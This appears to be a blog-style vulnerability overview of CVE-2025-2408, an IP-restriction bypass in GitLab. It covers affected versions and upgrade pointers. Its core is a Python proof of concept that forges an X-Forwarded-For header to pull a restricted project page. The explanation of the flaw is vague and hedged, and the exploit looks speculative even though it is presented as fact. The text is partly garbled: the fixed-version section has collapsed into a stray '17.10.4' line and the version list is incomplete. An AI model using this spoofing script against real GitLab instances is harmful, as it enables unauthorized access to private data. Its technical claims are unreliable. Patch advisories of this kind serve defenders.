CVE-2025-2408 - GitLab’s IP Restriction Bypass Exposed Sensitive Data (Exclusive Overview & Exploit Details)

A new vulnerability—CVE-2025-2408—has been uncovered in GitLab Community and Enterprise Editions, affecting versions from 13.12 all the way up to but not including 17.8.7, 17.9.6, and 17.10.4. The flaw lets attackers slip past IP access restrictions set by organizations, giving them a way to access sensitive information with just a few clever requests.

Let's break down why this is serious, how it works, and what you need to fix it.

IP Restrictions in GitLab

Organizations use IP restrictions in GitLab to make sure only users from specific trusted networks can access the instance or certain projects. It’s a powerful security measure—unless it gets bypassed.

The Flaw

Due to a validation loophole in the way GitLab checks IP addresses on certain endpoints, an attacker could construct requests that “fake out” the restriction logic. In practical terms, this meant an outside attacker could reach information they were never supposed to see.

Vulnerable Versions

- GitLab CE/EE: all versions from 13.12 up to (but not including) 17.8.7

Check your version with this command

gitlab-rake gitlab:env:info

If your version falls in the range above, update immediately.

Official advisory:
🔗 GitLab Release Blog

How The Exploit Works (Simply Explained)

Under the hood, when GitLab receives a request, it checks the source IP (from the HTTP request) and matches it against the configured "allowed IPs" list.

Problem: Some endpoints, or certain HTTP headers, were not being validated correctly. This allowed attackers to *spoof* their IP or reach data from a restricted path by manipulating certain request aspects or by using proxies in a specific way.

Example Exploit (Educational Only)

Suppose a company limits access to its GitLab instance to 123.45.67.89/24. An attacker wants to bypass this and see sensitive project information.

A simple Python example using requests

import requests

# Target GitLab instance (replace with real vulnerable target)
target_url = "https://gitlab.example.com/private-project/";
 
# Bypass using forged X-Forwarded-For header
spoofed_ip = "123.45.67.100"  # An allowed IP

headers = {
    "X-Forwarded-For": spoofed_ip
}

response = requests.get(target_url, headers=headers, verify=False)
print(response.text)  # If vulnerability is present, this dumps sensitive info

*(Never run this attack without permission. This is for educational defense purposes only.)*

Note:
On vulnerable versions, the backend would see the attacker as coming from the "allowed" IP and let them through—even though their real IP was somewhere else.

17.10.4

Download updates here:
🔗 GitLab Downloads

References

- GitLab Security Release Blog
- CVE-2025-2408 at CVE Details (pending)
- Official GitLab Release Notes

Final Thoughts

While this bug is now fixed, CVE-2025-2408 reminds us that even basic security features like IP restriction can be tricky to implement correctly. If you’re managing a GitLab instance, always keep up with updates and follow security advisories closely.

*This post is exclusive to this thread and uses original language/style for accessibility. Please use responsibly and always patch your systems.*

Timeline

Published on: 04/10/2025 13:15:51 UTC
Last modified on: 04/11/2025 15:39:52 UTC